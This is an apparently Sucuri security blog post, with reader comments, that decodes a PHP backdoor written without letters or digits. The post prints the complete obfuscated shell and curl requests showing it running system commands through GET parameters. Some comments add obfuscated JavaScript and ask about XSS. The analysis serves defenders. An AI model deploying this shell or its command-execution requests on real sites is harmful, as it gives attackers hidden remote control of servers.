Ask Sucuri: Non-alphanumeric Backdoors

If you have any questions about malware, blacklisting, or security in general, send them to contact@sucuri.net and we will write a post about it and share. For all the “Ask Sucuri” answers, go here.


Question: My site got hacked and I am seeing this backdoor with no alpha numeric characters. What is it doing?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Answer: Backdoors are tools used by attackers to help them maintain access to the sites they compromise. The harder it is to find the backdoor, the better for the attackers, since it will likely remain undetected allowing them to reinfect or regain access to the site whenever they want.

This backdoor is a very good example of a sneaky one. No alpha numeric characters, no direct function calls or anything like that. So what is it doing? We asked one of our developers, Yorman Arias, to help decode it.

Non-Alphanumeric PHP-Shell

This is an interesting PHP-Shell with non-alphanumeric characters, it is created with an array of data concatenated to be able to execute any PHP function with one optional argument that can be passed through a GET request.

sucuri-non-alphanumeric-phpshell.1

Since it is very hard to read, we divided it into parts by adding a new line after each semicolon:

sucuri-non-alphanumeric-phpshell.2

As you can see, we wrote some var_dump sentences after each line involved with a mathematical and functional operation.

To decode it in more detail, we executed it without hesitation because there wasn’t an operation with direct contact with the filesystem. In the process we got these two warnings (shell.php is the filename we chose to work with):

PHP Notice:  Undefined offset: 0 in /shell.php on line 16
PHP Fatal error:  Function name must be a string in /shell.php on line 17

We assumed that the shell was waiting for an argument in offset 0 to be a valid PHP function name using this code: $_[0]. The last sentence was obviously the execution of that method, so we used the common function system() and sent a GET request to the shell like this:

$ curl 'httx:// 127.0.0.1:9999/shell  .php?0=system'

But didn’t get a response, so we checked the server logs to find this:

PHP Warning:  system(): Cannot execute a blank command in /shell.php on line 17

The PHP function system() was waiting for an argument with a valid command to be executed on the server, but it wasn’t in the code so it should be passed as another parameter in the request, and finally got this:

$ curl 'httx://127.0.0.1:9999/ shell .php?0=system &1=uname  %20-a'
Linux linux 3.7-trunk-amd64 #1 SMP Debian 3.7.2-0+kali8 x86_64 GNU/Linux
Technical Explanation

Step #1

The PHP Shell started with this code: @$_[]=@!+_; an array initialization with a curious value. PHP will try to parse the underscore present in the value of that variable as a constant, and when the interpreter is unable to find the constant, it will prompt us with a notice. The creator of this shell suppressed the notice warning using the @ symbol.

The missing constant in turn will be converted to a string: string(1) '_' and this one was casted to an integer using the plus-operator to get this: int(0)

Finally, appending the exclamation-mark, the value zero will be casted to a boolean bool(true). So, at the last we have a first line of code decoded being interpreted as an array with a single boolean value: array(true)

Step #2

The programmer tries to store it by pushing the value into the array $_, however it doesn’t exist, so he suppressed that too. PHP will automagically create it, and the value will get stored.

Normally, when we try to access an array as a string in PHP, it will generate a string with value Array. If we have a string, we can generate other strings out of it by (ab)using AND, OR and XOR.

It seems the programmer figured that he had a few characters that could easily generate in PHP, so he generated the characters to create the word GET, and by utilizing some boolean magic and variable dereferencing, he ended up with a PHP Shell with no functions, no strings and no numbers.

Update 1: You can also found an older analysis of this backdoor here: http://blog.omfgitsasalmon.com/. What is also interesting is that according to some comments, this backdoor was created in early 2011 and only now is being used in the wild by attackers.

Conclusion

What more is there to say.. :)

If you guys have any questions about this backdoor (or have any others you'd like us to breakdown), let us know.

Scan your website for free:
About Daniel Cid

Daniel B. Cid is the Founder & CTO of Sucuri and also the founder of the open source OSSEC HIDS. His interests range from intrusion detection, log analysis (log-based intrusion detection), web-based malware research and secure development.

You can find more about Daniel at his site dcid.me or on Twitter: @danielcid

  • http://www.cynicologist.com/ Orun Bhuiyan

    That’s a really sneaky way to obfuscate code, thanks for sharing!

  • Ivan Zenteno

    WoW nice explanation as always Daniel.

  • Jon W.

    Thanks for this.. Hopefully I’ll never see it in the wild.

  • littleguy

    Sick!

  • howdy

    How is this used to attack a site? How do we prevent it?

    • http://kirkbushell.me/ Kirk Bushell

      did you not see the example of running system commands from a URL request!? =

      To prevent it, make sure your permissions and security are locked down so that such files cannot be created.

  • k4ndar

    daman!

  • Julius Bernhard Schluter

    Woooww….

  • John West

    this looks similar to jjencode (Google ‘jjencode ‘ is and look at top result)

  • end

    ‘Can’t treat array as a string’ – its true, however this is required for make “Array” string, so further analysis are wrong. Concatenating string and array produces a notice – OK, but after that [2] element of array $_ contains ‘_Array’. Its intended to do that.

  • Tetracyclic

    Here’s a post from 24th November 2011, where a programmer created this same obfuscated shell. Oddly the list at the end of this article on Sucuri seems to pulled straight from the blog post: http://blog.omfgitsasalmon.com/

  • omfgitsasalmon

    Anyway I can get credit for this? http://blog.omfgitsasalmon.com/

    • Daniel Cid

      Done. We shouldn’t have used your conclusion without referencing it.

  • (ᴖᴗᴖ) ⢀⣢

    Woah. You found my snippet of code out in the wild? I originally started playing around with PHP obfuscation back in 2011. I had a blog post explaining all the full details of what it did as well, back on h.ackack.net, sadly enough, the site isn’t up anymore. Anyway, it seems that some guy at rstforums.com reposted my original post about the technique. URL: https://rstforums.com/forum/45129-anti-alphanum-php-shell.rst

    • Daniel Cid

      Interesting. And yes, it was found in the wild and reported by a client.

      • (ᴖᴗᴖ) ⢀⣢

        That’s not very good. It was intended to be a proof of concept for the wonders of PHP.

  • http://www.minecraftjuegos.com/ Minecraft Juegos

    This is what I’ve been looking for. Thank you!

  • http://photogabble.co.uk/ Simon

    Several years ago when I first saw this http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/ I did wonder how long it would take for hackers to weaponise it.

  • Tomat

    JavaScript.
    Enjoy.

    ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ [‘_’]; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: ‘_’ ,゚ω゚ノ : ((゚ω゚ノ==3) +’_’) [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ ‘_’)[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +’_’)[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +’_’) [c^_^o];(゚Д゚) [‘c’] = ((゚Д゚)+’_’) [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) [‘o’] = ((゚Д゚)+’_’) [゚Θ゚];(゚o゚)=(゚Д゚) [‘c’]+(゚Д゚) [‘o’]+(゚ω゚ノ +’_’)[゚Θ゚]+ ((゚ω゚ノ==3) +’_’) [゚ー゚] + ((゚Д゚) +’_’) [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +’_’) [゚Θ゚]+((゚ー゚==3) +’_’) [(゚ー゚) – (゚Θ゚)]+(゚Д゚) [‘c’]+((゚Д゚)+’_’) [(゚ー゚)+(゚ー゚)]+ (゚Д゚) [‘o’]+((゚ー゚==3) +’_’) [゚Θ゚];(゚Д゚) [‘_’] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +’_’) [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+’_’) [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +’_’) [o^_^o -゚Θ゚]+((゚ー゚==3) +’_’) [゚Θ゚]+ (゚ω゚ノ +’_’) [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]=’\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +’_’)[c^_^o];(゚Д゚) [゚o゚]='”‘;(゚Д゚) [‘_’] ( (゚Д゚) [‘_’] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) (‘_’);

    • sonnyxopek

      alert(“Hello, JavaScript!”)

      • Jabberwock

        alert(“YOU DONT SAY?”)

  • PoorGrammarProgrammer

    Parse error: syntax error, unexpected ‘<' in test.php on line 5 o_O

  • http://www.parafriv.net/ Para Friv

    Woooww ! This is what I’ve been looking for. Thank you!

  • http://www.jugarjugar.net/ Jugar Jugar

    It’s great. I also met a few times before this case. Fortunately, it’s simple to solve because I have a few friends know about this issue. Thanks for your useful sharing. It really is essential

  • PR3S1D3NT

    hello
    whether exist none alphanumeric for html(usable to xss)?

  • http://www.GusevLife.com/ Гусев Святослав

    Круто.

  • фыв

    ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ [‘_’]; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚);
    (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: ‘_’ ,゚ω゚ノ : ((゚ω゚ノ==3) +’_’)
    [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ ‘_’)[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +’_’)[゚ー゚] };
    (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +’_’) [c^_^o];(゚Д゚) [‘c’] = ((゚Д゚)+’_’) [
    (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) [‘o’] = ((゚Д゚)+’_’) [゚Θ゚];(゚o゚)=(゚Д゚)
    [‘c’]+(゚Д゚) [‘o’]+(゚ω゚ノ +’_’)[゚Θ゚]+ ((゚ω゚ノ==3) +’_’) [゚ー゚] + ((゚Д゚)
    +’_’) [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +’_’) [゚Θ゚]+((゚ー゚==3) +’_’) [(゚ー゚) –
    (゚Θ゚)]+(゚Д゚) [‘c’]+((゚Д゚)+’_’) [(゚ー゚)+(゚ー゚)]+ (゚Д゚) [‘o’]+((゚ー゚==3)
    +’_’) [゚Θ゚];(゚Д゚) [‘_’] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +’_’)
    [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+’_’) [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +’_’) [o^_^o
    -゚Θ゚]+((゚ー゚==3) +’_’) [゚Θ゚]+ (゚ω゚ノ +’_’) [゚Θ゚]; (゚ー゚)+=(゚Θ゚);
    (゚Д゚)[゚ε゚]=’\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ
    +’_’)[c^_^o];(゚Д゚) [゚o゚]='”‘;(゚Д゚) [‘_’] ( (゚Д゚) [‘_’] (゚ε゚+(゚Д゚)[゚o゚]+
    (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+
    (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
    ((o^_^o) +(o^_^o))+ ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o)
    +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+
    ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
    (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ ((゚ー゚) +
    (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+
    (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+
    ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (゚ー゚)+
    (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) – (゚Θ゚))+ (o^_^o)+
    (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+
    (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+
    ((o^_^o) – (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚))
    (‘_’);